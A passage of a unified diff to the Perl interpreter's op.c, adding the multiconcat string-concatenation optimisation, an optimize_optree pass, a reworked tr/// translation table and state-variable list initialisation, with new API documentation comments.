+    if (variant) {
+        char              *p = const_str;
+        STRLEN          ulen = total_len + variant;
+        UNOP_AUX_item  *lens = aux + PERL_MULTICONCAT_IX_LENGTHS;
+        UNOP_AUX_item *ulens = lens + (nargs + 1);
+        char             *up = (char*)PerlMemShared_malloc(ulen);
+        SSize_t            n;
+
+        aux[PERL_MULTICONCAT_IX_UTF8_PV].pv    = up;
+        aux[PERL_MULTICONCAT_IX_UTF8_LEN].ssize = ulen;
+
+        for (n = 0; n < (nargs + 1); n++) {
+            SSize_t i;
+            char * orig_up = up;
+            for (i = (lens++)->ssize; i > 0; i--) {
+                U8 c = *p++;
+                append_utf8_from_native_byte(c, (U8**)&up);
+            }
+            (ulens++)->ssize = (i < 0) ? i : up - orig_up;
+        }
+    }
+
+    if (stringop) {
+        /* if there was a top(ish)-level OP_STRINGIFY, we need to keep
+         * that op's first child - an ex-PUSHMARK - because the op_next of
+         * the previous op may point to it (i.e. it's the entry point for
+         * the o optree)
+         */
+        OP *pmop =
+            (stringop == o)
+                ? op_sibling_splice(o, lastkidop, 1, NULL)
+                : op_sibling_splice(stringop, NULL, 1, NULL);
+        assert(OP_TYPE_IS_OR_WAS_NN(pmop, OP_PUSHMARK));
+        op_sibling_splice(o, NULL, 0, pmop);
+        if (!lastkidop)
+            lastkidop = pmop;
+    }
+
+    /* Optimise 
+     *    target  = A.B.C...
+     *    target .= A.B.C...
+     */
+
+    if (targetop) {
+        assert(!targmyop);
+
+        if (o->op_type == OP_SASSIGN) {
+            /* Move the target subtree from being the last of o's children
+             * to being the last of o's preserved children.
+             * Note the difference between 'target = ...' and 'target .= ...':
+             * for the former, target is executed last; for the latter,
+             * first.
+             */
+            kid = OpSIBLING(lastkidop);
+            op_sibling_splice(o, kid, 1, NULL); /* cut target op */
+            op_sibling_splice(o, lastkidop, 0, targetop); /* and paste */
+            lastkidop->op_next = kid->op_next;
+            lastkidop = targetop;
+        }
+        else {
+            /* Move the target subtree from being the first of o's
+             * original children to being the first of *all* o's children.
+             */
+            if (lastkidop) {
+                op_sibling_splice(o, lastkidop, 1, NULL); /* cut target op */
+                op_sibling_splice(o, NULL, 0, targetop);  /* and paste*/
+            }
+            else {
+                /* if the RHS of .= doesn't contain a concat (e.g.
+                 * $x .= "foo"), it gets missed by the "strip ops from the
+                 * tree and add to o" loop earlier */
+                assert(topop->op_type != OP_CONCAT);
+                if (stringop) {
+                    /* in e.g. $x .= "$y", move the $y expression
+                     * from being a child of OP_STRINGIFY to being the
+                     * second child of the OP_CONCAT
+                     */
+                    assert(cUNOPx(stringop)->op_first == topop);
+                    op_sibling_splice(stringop, NULL, 1, NULL);
+                    op_sibling_splice(o, cUNOPo->op_first, 0, topop);
+                }
+                assert(topop == OpSIBLING(cBINOPo->op_first));
+                if (toparg->p)
+                    op_null(topop);
+                lastkidop = topop;
+            }
+        }
+
+        if (is_targable) {
+            /* optimise
+             *  my $lex  = A.B.C...
+             *     $lex  = A.B.C...
+             *     $lex .= A.B.C...
+             * The original padsv op is kept but nulled in case it's the
+             * entry point for the optree (which it will be for
+             * '$lex .=  ... '
+             */
+            private_flags |= OPpTARGET_MY;
+            private_flags |= (targetop->op_private & OPpLVAL_INTRO);
+            o->op_targ = targetop->op_targ;
+            targetop->op_targ = 0;
+            op_null(targetop);
+        }
+        else
+            flags |= OPf_STACKED;
+    }
+    else if (targmyop) {
+        private_flags |= OPpTARGET_MY;
+        if (o != targmyop) {
+            o->op_targ = targmyop->op_targ;
+            targmyop->op_targ = 0;
+        }
+    }
+
+    /* detach the emaciated husk of the sprintf/concat optree and free it */
+    for (;;) {
+        kid = op_sibling_splice(o, lastkidop, 1, NULL);
+        if (!kid)
+            break;
+        op_free(kid);
+    }
+
+    /* and convert o into a multiconcat */
+
+    o->op_flags        = (flags|OPf_KIDS|stacked_last
+                         |(o->op_flags & (OPf_WANT|OPf_PARENS)));
+    o->op_private      = private_flags;
+    o->op_type         = OP_MULTICONCAT;
+    o->op_ppaddr       = PL_ppaddr[OP_MULTICONCAT];
+    cUNOP_AUXo->op_aux = aux;
+}
+
+
 /* do all the final processing on an optree (e.g. running the peephole
  * optimiser on it), then attach it to cv (if cv is non-null)
  */
@@ -2472,6 +3423,7 @@
     *startp = start;
     optree->op_private |= OPpREFCOUNTED;
     OpREFCNT_set(optree, 1);
+    optimize_optree(optree);
     CALL_PEEP(*startp);
     finalize_optree(optree);
     S_prune_chain_head(startp);
@@ -2485,6 +3437,74 @@
 
 
 /*
+=for apidoc optimize_optree
+
+This function applies some optimisations to the optree in top-down order.
+It is called before the peephole optimizer, which processes ops in
+execution order. Note that finalize_optree() also does a top-down scan,
+but is called *after* the peephole optimizer.
+
+=cut
+*/
+
+void
+Perl_optimize_optree(pTHX_ OP* o)
+{
+    PERL_ARGS_ASSERT_OPTIMIZE_OPTREE;
+
+    ENTER;
+    SAVEVPTR(PL_curcop);
+
+    optimize_op(o);
+
+    LEAVE;
+}
+
+
+/* helper for optimize_optree() which optimises on op then recurses
+ * to optimise any children.
+ */
+
+STATIC void
+S_optimize_op(pTHX_ OP* o)
+{
+    OP *kid;
+
+    PERL_ARGS_ASSERT_OPTIMIZE_OP;
+    assert(o->op_type != OP_FREED);
+
+    switch (o->op_type) {
+    case OP_NEXTSTATE:
+    case OP_DBSTATE:
+	PL_curcop = ((COP*)o);		/* for warnings */
+	break;
+
+
+    case OP_CONCAT:
+    case OP_SASSIGN:
+    case OP_STRINGIFY:
+    case OP_SPRINTF:
+        S_maybe_multiconcat(aTHX_ o);
+        break;
+
+    case OP_SUBST:
+	if (cPMOPo->op_pmreplrootu.op_pmreplroot)
+	    optimize_op(cPMOPo->op_pmreplrootu.op_pmreplroot);
+	break;
+
+    default:
+	break;
+    }
+
+    if (!(o->op_flags & OPf_KIDS))
+        return;
+
+    for (kid = cUNOPo->op_first; kid; kid = OpSIBLING(kid))
+        optimize_op(kid);
+}
+
+
+/*
 =for apidoc finalize_optree
 
 This function finalizes the optree.  Should be called directly after
@@ -2578,8 +3598,8 @@
     case OP_CONST:
 	if (cSVOPo->op_private & OPpCONST_STRICT)
 	    no_bareword_allowed(o);
-	/* FALLTHROUGH */
 #ifdef USE_ITHREADS
+        /* FALLTHROUGH */
     case OP_HINTSEVAL:
         op_relocate_sv(&cSVOPo->op_sv, &o->op_targ);
 #endif
@@ -3060,7 +4080,10 @@
     case OP_RV2HV:
 	if (type == OP_REFGEN && o->op_flags & OPf_PARENS) {
            PL_modcount = RETURN_UNLIMITED_NUMBER;
-	    return o;		/* Treat \(@foo) like ordinary list. */
+           /* Treat \(@foo) like ordinary list, but still mark it as modi-
+              fiable since some contexts need to know.  */
+           o->op_flags |= OPf_MOD;
+           return o;
 	}
 	/* FALLTHROUGH */
     case OP_RV2GV:
@@ -3092,7 +4115,7 @@
         goto nomod;
     case OP_AVHVSWITCH:
 	if (type == OP_LEAVESUBLV
-	 && (o->op_private & 3) + OP_EACH == OP_KEYS)
+	 && (o->op_private & OPpAVHVSWITCH_MASK) + OP_EACH == OP_KEYS)
 	    o->op_private |= OPpMAYBE_LVSUB;
         goto nomod;
     case OP_AV2ARYLEN:
@@ -3125,7 +4148,12 @@
     case OP_PADHV:
        PL_modcount = RETURN_UNLIMITED_NUMBER;
 	if (type == OP_REFGEN && o->op_flags & OPf_PARENS)
-	    return o;		/* Treat \(@foo) like ordinary list. */
+	{
+           /* Treat \(@foo) like ordinary list, but still mark it as modi-
+              fiable since some contexts need to know.  */
+	    o->op_flags |= OPf_MOD;
+	    return o;
+	}
 	if (scalar_mod_type(o, type))
 	    goto nomod;
 	if ((o->op_flags & OPf_WANT) != OPf_WANT_SCALAR
@@ -3686,7 +4714,8 @@
 }
 
 STATIC void
-S_move_proto_attr(pTHX_ OP **proto, OP **attrs, const GV * name)
+S_move_proto_attr(pTHX_ OP **proto, OP **attrs, const GV * name,
+                        bool curstash)
 {
     OP *new_proto = NULL;
     STRLEN pvlen;
@@ -3701,7 +4730,7 @@
     o = *attrs;
     if (o->op_type == OP_CONST) {
         pv = SvPV(cSVOPo_sv, pvlen);
-        if (pvlen >= 10 && memEQ(pv, "prototype(", 10)) {
+        if (memBEGINs(pv, pvlen, "prototype(")) {
             SV * const tmpsv = newSVpvn_flags(pv + 10, pvlen - 11, SvUTF8(cSVOPo_sv));
             SV ** const tmpo = cSVOPx_svp(o);
             SvREFCNT_dec(cSVOPo_sv);
@@ -3717,7 +4746,7 @@
         for (o = OpSIBLING(lasto); o; o = OpSIBLING(o)) {
             if (o->op_type == OP_CONST) {
                 pv = SvPV(cSVOPo_sv, pvlen);
-                if (pvlen >= 10 && memEQ(pv, "prototype(", 10)) {
+                if (memBEGINs(pv, pvlen, "prototype(")) {
                     SV * const tmpsv = newSVpvn_flags(pv + 10, pvlen - 11, SvUTF8(cSVOPo_sv));
                     SV ** const tmpo = cSVOPx_svp(o);
                     SvREFCNT_dec(cSVOPo_sv);
@@ -3760,12 +4789,20 @@
         else
             svname = (SV *)name;
         if (ckWARN(WARN_ILLEGALPROTO))
-            (void)validate_proto(svname, cSVOPx_sv(new_proto), TRUE);
+            (void)validate_proto(svname, cSVOPx_sv(new_proto), TRUE,
+                                 curstash);
         if (*proto && ckWARN(WARN_PROTOTYPE)) {
             STRLEN old_len, new_len;
             const char * oldp = SvPV(cSVOPx_sv(*proto), old_len);
             const char * newp = SvPV(cSVOPx_sv(new_proto), new_len);
 
+            if (curstash && svname == (SV *)name
+             && !memchr(SvPVX(svname), ':', SvCUR(svname))) {
+                svname = sv_2mortal(newSVsv(PL_curstname));
+                sv_catpvs(svname, "::");
+                sv_catsv(svname, (SV *)name);
+            }
+
             Perl_warner(aTHX_ packWARN(WARN_PROTOTYPE),
                 "Prototype '%" UTF8f "' overridden by attribute 'prototype(%" UTF8f ")'"
                 " in %" SVf,
@@ -3826,9 +4863,9 @@
 	    PL_parser->in_my = FALSE;
 	    PL_parser->in_my_stash = NULL;
 	    apply_attrs(GvSTASH(gv),
-			(type == OP_RV2SV ? GvSV(gv) :
-			 type == OP_RV2AV ? MUTABLE_SV(GvAV(gv)) :
-			 type == OP_RV2HV ? MUTABLE_SV(GvHV(gv)) : MUTABLE_SV(gv)),
+			(type == OP_RV2SV ? GvSVn(gv) :
+			 type == OP_RV2AV ? MUTABLE_SV(GvAVn(gv)) :
+			 type == OP_RV2HV ? MUTABLE_SV(GvHVn(gv)) : MUTABLE_SV(gv)),
 			attrs);
 	}
 	o->op_private |= OPpOUR_INTRO;
@@ -4432,11 +5469,11 @@
 S_fold_constants(pTHX_ OP *const o)
 {
     dVAR;
-    OP * VOL curop;
+    OP * volatile curop;
     OP *newop;
-    VOL I32 type = o->op_type;
+    volatile I32 type = o->op_type;
     bool is_stringify;
-    SV * VOL sv = NULL;
+    SV * volatile sv = NULL;
     int ret = 0;
     OP *old_next;
     SV * const oldwarnhook = PL_warnhook;
@@ -4669,6 +5706,9 @@
 
     switch (ret) {
     case 0:
+#if defined DEBUGGING && !defined DEBUGGING_RE_ONLY
+        PL_curstackinfo->si_stack_hwm = 0; /* stop valgrind complaining */
+#endif
 	Perl_pp_pushmark(aTHX);
 	CALLRUNOPS(aTHX);
 	PL_op = curop;
@@ -5261,6 +6301,10 @@
     return fold_constants(op_integerize(op_std_init((OP *)binop)));
 }
 
+/* Helper function for S_pmtrans(): comparison function to sort an array
+ * of codepoint range pairs. Sorts by start point, or if equal, by end
+ * point */
+
 static int uvcompare(const void *a, const void *b)
     __attribute__nonnull__(1)
     __attribute__nonnull__(2)
@@ -5278,24 +6322,39 @@
     return 0;
 }
 
+/* Given an OP_TRANS / OP_TRANSR op o, plus OP_CONST ops expr and repl
+ * containing the search and replacement strings, assemble into
+ * a translation table attached as o->op_pv.
+ * Free expr and repl.
+ * It expects the toker to have already set the
+ *   OPpTRANS_COMPLEMENT
+ *   OPpTRANS_SQUASH
+ *   OPpTRANS_DELETE
+ * flags as appropriate; this function may add
+ *   OPpTRANS_FROM_UTF
+ *   OPpTRANS_TO_UTF
+ *   OPpTRANS_IDENTICAL
+ *   OPpTRANS_GROWS
+ * flags
+ */
+
 static OP *
 S_pmtrans(pTHX_ OP *o, OP *expr, OP *repl)
 {
     SV * const tstr = ((SVOP*)expr)->op_sv;
-    SV * const rstr =
-			      ((SVOP*)repl)->op_sv;
+    SV * const rstr = ((SVOP*)repl)->op_sv;
     STRLEN tlen;
     STRLEN rlen;
     const U8 *t = (U8*)SvPV_const(tstr, tlen);
     const U8 *r = (U8*)SvPV_const(rstr, rlen);
-    I32 i;
-    I32 j;
-    I32 grows = 0;
-    short *tbl;
+    Size_t i, j;
+    bool grows = FALSE;
+    OPtrans_map *tbl;
+    SSize_t struct_size; /* malloced size of table struct */
 
-    const I32 complement = o->op_private & OPpTRANS_COMPLEMENT;
-    const I32 squash     = o->op_private & OPpTRANS_SQUASH;
-    I32 del              = o->op_private & OPpTRANS_DELETE;
+    const bool complement = cBOOL(o->op_private & OPpTRANS_COMPLEMENT);
+    const bool squash     = cBOOL(o->op_private & OPpTRANS_SQUASH);
+    const bool del        = cBOOL(o->op_private & OPpTRANS_DELETE);
     SV* swash;
 
     PERL_ARGS_ASSERT_PMTRANS;
@@ -5309,6 +6368,14 @@
         o->op_private |= OPpTRANS_TO_UTF;
 
     if (o->op_private & (OPpTRANS_FROM_UTF|OPpTRANS_TO_UTF)) {
+
+        /* for utf8 translations, op_sv will be set to point to a swash
+         * containing codepoint ranges. This is done by first assembling
+         * a textual representation of the ranges in listsv then compiling
+         * it using swash_init(). For more details of the textual format,
+         * see L<perlunicode.pod/"User-Defined Character Properties"> .
+         */
+
 	SV* const listsv = newSVpvs("# comment\n");
 	SV* transv = NULL;
 	const U8* tend = t + tlen;
@@ -5350,6 +6417,10 @@
  * odd.  */
 
 	if (complement) {
+            /* utf8 and /c:
+             * replace t/tlen/tend with a version that has the ranges
+             * complemented
+             */
 	    U8 tmpbuf[UTF8_MAXBYTES+1];
 	    UV *cp;
 	    UV nextmin = 0;
@@ -5356,9 +6427,14 @@
 	    Newx(cp, 2*tlen, UV);
 	    i = 0;
 	    transv = newSVpvs("");
+
+            /* convert search string into array of (start,end) range
+             * codepoint pairs stored in cp[]. Most "ranges" will start
+             * and end at the same char */
 	    while (t < tend) {
 		cp[2*i] = utf8n_to_uvchr(t, tend-t, &ulen, flags);
 		t += ulen;
+                /* the toker converts X-Y into (X, ILLEGAL_UTF8_BYTE, Y) */
 		if (t < tend && *t == ILLEGAL_UTF8_BYTE) {
 		    t++;
 		    cp[2*i+1] = utf8n_to_uvchr(t, tend-t, &ulen, flags);
@@ -5369,7 +6445,19 @@
 		}
 		i++;
 	    }
+
+            /* sort the ranges */
 	    qsort(cp, i, 2*sizeof(UV), uvcompare);
+
+            /* Create a utf8 string containing the complement of the
+             * codepoint ranges. For example if cp[] contains [A,B], [C,D],
+             * then transv will contain the equivalent of:
+             * join '', map chr, 0,     ILLEGAL_UTF8_BYTE, A - 1,
+             *                   B + 1, ILLEGAL_UTF8_BYTE, C - 1,
+             *                   D + 1, ILLEGAL_UTF8_BYTE, 0x7fffffff;
+             * A range of a single char skips the ILLEGAL_UTF8_BYTE and
+             * end cp.
+             */
 	    for (j = 0; j < i; j++) {
 		UV  val = cp[2*j];
 		diff = val - nextmin;
@@ -5387,6 +6475,7 @@
 		if (val >= nextmin)
 		    nextmin = val + 1;
 	    }
+
 	    t = uvchr_to_utf8(tmpbuf,nextmin);
 	    sv_catpvn(transv, (char*)tmpbuf, t - tmpbuf);
 	    {
@@ -5403,6 +6492,7 @@
 	else if (!rlen && !del) {
 	    r = t; rlen = tlen; rend = tend;
 	}
+
 	if (!squash) {
 		if ((!rlen && !del) || t == r ||
 		    (tlen == rlen && memEQ((char *)t, (char *)r, tlen)))
@@ -5411,6 +6501,8 @@
 		}
 	}
 
+        /* extract char ranges from t and r and append them to listsv */
+
 	while (t < tend || tfirst <= tlast) {
 	    /* see if we need more "t" chars */
 	    if (tfirst > tlast) {
@@ -5483,9 +6575,11 @@
 	    tfirst += diff + 1;
 	}
 
+        /* compile listsv into a swash and attach to o */
+
 	none = ++max;
 	if (del)
-	    del = ++max;
+	    ++max;
 
 	if (max > 0xffff)
 	    bits = 32;
@@ -5524,50 +6618,88 @@
 	goto warnins;
     }
 
-    tbl = (short*)PerlMemShared_calloc(
-	(o->op_private & OPpTRANS_COMPLEMENT) &&
-	    !(o->op_private & OPpTRANS_DELETE) ? 258 : 256,
-	sizeof(short));
+    /* Non-utf8 case: set o->op_pv to point to a simple 256+ entry lookup
+     * table. Entries with the value -1 indicate chars not to be
+     * translated, while -2 indicates a search char without a
+     * corresponding replacement char under /d.
+     *
+     * Normally, the table has 256 slots. However, in the presence of
+     * /c, the search charlist has an implicit \x{100}-\x{7fffffff}
+     * added, and if there are enough replacement chars to start pairing
+     * with the \x{100},... search chars, then a larger (> 256) table
+     * is allocated.
+     *
+     * In addition, regardless of whether under /c, an extra slot at the
+     * end is used to store the final repeating char, or -3 under an empty
+     * replacement list, or -2 under /d; which makes the runtime code
+     * easier.
+     *
+     * The toker will have already expanded char ranges in t and r.
+     */
+
+    /* Initially allocate 257-slot table: 256 for basic (non /c) usage,
+     * plus final slot for repeat/-2/-3. Later we realloc if excess > * 0.
+     * The OPtrans_map struct already contains one slot; hence the -1.
+     */
+    struct_size = sizeof(OPtrans_map) + (256 - 1 + 1)*sizeof(short);
+    tbl = (OPtrans_map*)PerlMemShared_calloc(struct_size, 1);
+    tbl->size = 256;
     cPVOPo->op_pv = (char*)tbl;
+
     if (complement) {
-	for (i = 0; i < (I32)tlen; i++)
-	    tbl[t[i]] = -1;
+        Size_t excess;
+
+        /* in this branch, j is a count of 'consumed' (i.e. paired off
+         * with a search char) replacement chars (so j <= rlen always)
+         */
+	for (i = 0; i < tlen; i++)
+	    tbl->map[t[i]] = -1;
+
 	for (i = 0, j = 0; i < 256; i++) {
-	    if (!tbl[i]) {
-		if (j >= (I32)rlen) {
+	    if (!tbl->map[i]) {
+		if (j == rlen) {
 		    if (del)
-			tbl[i] = -2;
+			tbl->map[i] = -2;
 		    else if (rlen)
-			tbl[i] = r[j-1];
+			tbl->map[i] = r[j-1];
 		    else
-			tbl[i] = (short)i;
+			tbl->map[i] = (short)i;
 		}
 		else {
-		    if (UVCHR_IS_INVARIANT(i) && ! UVCHR_IS_INVARIANT(r[j]))
-			grows = 1;
-		    tbl[i] = r[j++];
+		    tbl->map[i] = r[j++];
 		}
+                if (   tbl->map[i] >= 0
+                    &&  UVCHR_IS_INVARIANT((UV)i)
+                    && !UVCHR_IS_INVARIANT((UV)(tbl->map[i]))
+                )
+                    grows = TRUE;
 	    }
 	}
-	if (!del) {
-	    if (!rlen) {
-		j = rlen;
-		if (!squash)
-		    o->op_private |= OPpTRANS_IDENTICAL;
-	    }
-	    else if (j >= (I32)rlen)
-		j = rlen - 1;
-	    else {
-		tbl = 
-		    (short *)
-		    PerlMemShared_realloc(tbl,
-					  (0x101+rlen-j) * sizeof(short));
-		cPVOPo->op_pv = (char*)tbl;
-	    }
-	    tbl[0x100] = (short)(rlen - j);
-	    for (i=0; i < (I32)rlen - j; i++)
-		tbl[0x101+i] = r[j+i];
-	}
+
+        ASSUME(j <= rlen);
+        excess = rlen - j;
+
+        if (excess) {
+            /* More replacement chars than search chars:
+             * store excess replacement chars at end of main table.
+             */
+
+            struct_size += excess;
+            tbl = (OPtrans_map*)PerlMemShared_realloc(tbl,
+                        struct_size + excess * sizeof(short));
+            tbl->size += excess;
+            cPVOPo->op_pv = (char*)tbl;
+
+            for (i = 0; i < excess; i++)
+                tbl->map[i + 256] = r[j+i];
+        }
+        else {
+            /* no more replacement chars than search chars */
+            if (!rlen && !del && !squash)
+                o->op_private |= OPpTRANS_IDENTICAL;
+        }
+
+        tbl->map[tbl->size] = del ? -2 : rlen ? r[rlen - 1] : -3;
     }
     else {
 	if (!rlen && !del) {
@@ -5578,26 +6710,30 @@
 	else if (!squash && rlen == tlen && memEQ((char*)t, (char*)r, tlen)) {
 	    o->op_private |= OPpTRANS_IDENTICAL;
 	}
+
 	for (i = 0; i < 256; i++)
-	    tbl[i] = -1;
-	for (i = 0, j = 0; i < (I32)tlen; i++,j++) {
-	    if (j >= (I32)rlen) {
+	    tbl->map[i] = -1;
+	for (i = 0, j = 0; i < tlen; i++,j++) {
+	    if (j >= rlen) {
 		if (del) {
-		    if (tbl[t[i]] == -1)
-			tbl[t[i]] = -2;
+		    if (tbl->map[t[i]] == -1)
+			tbl->map[t[i]] = -2;
 		    continue;
 		}
 		--j;
 	    }
-	    if (tbl[t[i]] == -1) {
+	    if (tbl->map[t[i]] == -1) {
                 if (     UVCHR_IS_INVARIANT(t[i])
                     && ! UVCHR_IS_INVARIANT(r[j]))
-		    grows = 1;
-		tbl[t[i]] = r[j];
+		    grows = TRUE;
+		tbl->map[t[i]] = r[j];
 	    }
 	}
+        tbl->map[tbl->size] = del ? -1 : rlen ? -1 : -3;
     }
 
+    /* both non-utf8 and utf8 code paths end up here */
+
   warnins:
     if(del && rlen == tlen) {
 	Perl_ck_warner(aTHX_ packWARN(WARN_MISC), "Useless use of /d modifier in transliteration operator"); 
@@ -5613,6 +6749,7 @@
     return o;
 }
 
+
 /*
 =for apidoc Am|OP *|newPMOP|I32 type|I32 flags
 
@@ -5813,6 +6950,17 @@
 		scope->op_next = NULL; /* stop on last op */
 		op_null(scope);
 	    }
+
+            /* XXX optimize_optree() must be called on o before
+             * CALL_PEEP(), as currently S_maybe_multiconcat() can't
+             * currently cope with a peephole-optimised optree.
+             * Calling optimize_optree() here ensures that condition
+             * is met, but may mean optimize_optree() is applied
+             * to the same optree later (where hopefully it won't do any
+             * harm as it can't convert an op to multiconcat if it's
+             * already been converted */
+            optimize_optree(o);
+
 	    /* have to peep the DOs individually as we've removed it from
 	     * the op_next chain */
 	    CALL_PEEP(o);
@@ -6200,9 +7348,10 @@
 
 Constructs, checks, and returns an op of any type that involves an
 embedded C-level pointer (PV).  C<type> is the opcode.  C<flags> gives
-the eight bits of C<op_flags>.  C<pv> supplies the C-level pointer, which
-must have been allocated using C<PerlMemShared_malloc>; the memory will
-be freed when the op is destroyed.
+the eight bits of C<op_flags>.  C<pv> supplies the C-level pointer.
+Depending on the op type, the memory referenced by C<pv> may be freed
+when the op is destroyed.  If the op is of a freeing type, C<pv> must
+have been allocated using C<PerlMemShared_malloc>.
 
 =cut
 */
@@ -6556,11 +7705,24 @@
     if (!o)
 	return TRUE;
 
-    if ((o->op_type == OP_NULL) && (o->op_flags & OPf_KIDS))
-	o = cUNOPo->op_first;
+    if (o->op_type == OP_SREFGEN)
+    {
+	OP * const kid = cUNOPx(cUNOPo->op_first)->op_first;
+	type = kid->op_type;
+	flags = o->op_flags | kid->op_flags;
+	if (!(flags & OPf_PARENS)
+	  && (kid->op_type == OP_RV2AV || kid->op_type == OP_PADAV ||
+	      kid->op_type == OP_RV2HV || kid->op_type == OP_PADHV ))
+	    return ASSIGN_REF;
+	ret = ASSIGN_REF;
+    } else {
+	if ((o->op_type == OP_NULL) && (o->op_flags & OPf_KIDS))
+	    o = cUNOPo->op_first;
+	flags = o->op_flags;
+	type = o->op_type;
+	ret = 0;
+    }
 
-    flags = o->op_flags;
-    type = o->op_type;
     if (type == OP_COND_EXPR) {
         OP * const sib = OpSIBLING(cLOGOPo->op_first);
         const I32 t = assignment_type(sib);
@@ -6573,19 +7735,6 @@
 	return FALSE;
     }
 
-    if (type == OP_SREFGEN)
-    {
-	OP * const kid = cUNOPx(cUNOPo->op_first)->op_first;
-	type = kid->op_type;
-	flags |= kid->op_flags;
-	if (!(flags & OPf_PARENS)
-	  && (kid->op_type == OP_RV2AV || kid->op_type == OP_PADAV ||
-	      kid->op_type == OP_RV2HV || kid->op_type == OP_PADHV ))
-	    return ASSIGN_REF;
-	ret = ASSIGN_REF;
-    }
-    else ret = 0;
-
     if (type == OP_LIST &&
 	(flags & OPf_WANT) == OPf_WANT_SCALAR &&
 	o->op_private & OPpLVAL_INTRO)
@@ -6606,7 +7755,34 @@
     return ret;
 }
 
+static OP *
+S_newONCEOP(pTHX_ OP *initop, OP *padop)
+{
+    const PADOFFSET target = padop->op_targ;
+    OP *const other = newOP(OP_PADSV,
+			    padop->op_flags
+			    | ((padop->op_private & ~OPpLVAL_INTRO) << 8));
+    OP *const first = newOP(OP_NULL, 0);
+    OP *const nullop = newCONDOP(0, first, initop, other);
+    /* XXX targlex disabled for now; see ticket #124160
+	newCONDOP(0, first, S_maybe_targlex(aTHX_ initop), other);
+     */
+    OP *const condop = first->op_next;
 
+    OpTYPE_set(condop, OP_ONCE);
+    other->op_targ = target;
+    nullop->op_flags |= OPf_WANT_SCALAR;
+
+    /* Store the initializedness of state vars in a separate
+       pad entry.  */
+    condop->op_targ =
+      pad_add_name_pvn("$",1,padadd_NO_DUP_CHECK|padadd_STATE,0,0);
+    /* hijacking PADSTALE for uninitialized state variables */
+    SvPADSTALE_on(PAD_SVl(condop->op_targ));
+
+    return nullop;
+}
+
 /*
 =for apidoc Am|OP *|newASSIGNOP|I32 flags|OP *left|I32 optype|OP *right
 
@@ -6650,8 +7826,9 @@
     }
 
     if ((assign_type = assignment_type(left)) == ASSIGN_LIST) {
+	OP *state_var_op = NULL;
 	static const char no_list_state[] = "Initialization of state variables"
-	    " in list context currently forbidden";
+	    " in list currently forbidden";
 	OP *curop;
 
 	if (left->op_type == OP_ASLICE || left->op_type == OP_HSLICE)
@@ -6665,16 +7842,29 @@
 
 	if (OP_TYPE_IS_OR_WAS(left, OP_LIST))
 	{
-	    OP* lop = ((LISTOP*)left)->op_first;
-	    while (lop) {
-		if ((lop->op_type == OP_PADSV ||
-		     lop->op_type == OP_PADAV ||
-		     lop->op_type == OP_PADHV ||
-		     lop->op_type == OP_PADANY)
-		  && (lop->op_private & OPpPAD_STATE)
-                )
-                    yyerror(no_list_state);
-		lop = OpSIBLING(lop);
+	    OP *lop = ((LISTOP*)left)->op_first, *vop, *eop;
+	    if (!(left->op_flags & OPf_PARENS) &&
+		    lop->op_type == OP_PUSHMARK &&
+		    (vop = OpSIBLING(lop)) &&
+		    (vop->op_type == OP_PADAV || vop->op_type == OP_PADHV) &&
+		    !(vop->op_flags & OPf_PARENS) &&
+		    (vop->op_private & (OPpLVAL_INTRO|OPpPAD_STATE)) ==
+			(OPpLVAL_INTRO|OPpPAD_STATE) &&
+		    (eop = OpSIBLING(vop)) &&
+		    eop->op_type == OP_ENTERSUB &&
+		    !OpHAS_SIBLING(eop)) {
+		state_var_op = vop;
+	    } else {
+		while (lop) {
+		    if ((lop->op_type == OP_PADSV ||
+			 lop->op_type == OP_PADAV ||
+			 lop->op_type == OP_PADHV ||
+			 lop->op_type == OP_PADANY)
+		      && (lop->op_private & OPpPAD_STATE)
+		    )
+			yyerror(no_list_state);
+		    lop = OpSIBLING(lop);
+		}
 	    }
 	}
 	else if (  (left->op_private & OPpLVAL_INTRO)
@@ -6694,7 +7884,10 @@
 		   state (%a) = ...
 		   (state %a) = ...
 		*/
-		yyerror(no_list_state);
+                if (left->op_flags & OPf_PARENS)
+		    yyerror(no_list_state);
+		else
+		    state_var_op = left;
 	}
 
         /* optimise @a = split(...) into:
@@ -6786,6 +7979,9 @@
                 }
             }
 	}
+
+	if (state_var_op)
+	    o = S_newONCEOP(aTHX_ o, state_var_op);
 	return o;
     }
     if (assign_type == ASSIGN_REF)
@@ -7896,8 +9092,8 @@
 =for apidoc Am|OP *|newGIVENOP|OP *cond|OP *block|PADOFFSET defsv_off
 
 Constructs, checks, and returns an op tree expressing a C<given> block.
-C<cond> supplies the expression that will be locally assigned to a lexical
-variable, and C<block> supplies the body of the C<given> construct; they
+C<cond> supplies the expression to whose value C<$_> will be locally
+aliased, and C<block> supplies the body of the C<given> construct; they
 are consumed by this function and become part of the constructed op tree.
 C<defsv_off> must be zero (it used to identity the pad slot of lexical $_).
 
@@ -8202,6 +9398,8 @@
 
     PERL_ARGS_ASSERT_NEWMYSUB;
 
+    PL_hints |= HINT_BLOCK_SCOPE;
+
     /* Find the pad slot for storing the new sub.
        We cannot use PL_comppad, as it is the pad owned by the new sub.  We
        need to look in CvOUTSIDE and find the pad belonging to the enclos-
@@ -8223,7 +9421,7 @@
     spot = (CV **)svspot;
 
     if (!(PL_parser && PL_parser->error_count))
-        move_proto_attr(&proto, &attrs, (GV *)PadnameSV(name));
+        move_proto_attr(&proto, &attrs, (GV *)PadnameSV(name), 0);
 
     if (proto) {
 	assert(proto->op_type == OP_CONST);
@@ -8530,7 +9728,86 @@
     return cv;
 }
 
+/*
+=for apidoc m|CV *|newATTRSUB_x|I32 floor|OP *o|OP *proto|OP *attrs|OP *block|bool o_is_gv
 
+Construct a Perl subroutine, also performing some surrounding jobs.
+
+This function is expected to be called in a Perl compilation context,
+and some aspects of the subroutine are taken from global variables
+associated with compilation.  In particular, C<PL_compcv> represents
+the subroutine that is currently being compiled.  It must be non-null
+when this function is called, and some aspects of the subroutine being
+constructed are taken from it.  The constructed subroutine may actually
+be a reuse of the C<PL_compcv> object, but will not necessarily be so.
+
+If C<block> is null then the subroutine will have no body, and for the
+time being it will be an error to call it.  This represents a forward
+subroutine declaration such as S<C<sub foo ($$);>>.  If C<block> is
+non-null then it provides the Perl code of the subroutine body, which
+will be executed when the subroutine is called.  This body includes
+any argument unwrapping code resulting from a subroutine signature or
+similar.  The pad use of the code must correspond to the pad attached
+to C<PL_compcv>.  The code is not expected to include a C<leavesub> or
+C<leavesublv> op; this function will add such an op.  C<block> is consumed
+by this function and will become part of the constructed subroutine.
+
+C<proto> specifies the subroutine's prototype, unless one is supplied
+as an attribute (see below).  If C<proto> is null, then the subroutine
+will not have a prototype.  If C<proto> is non-null, it must point to a
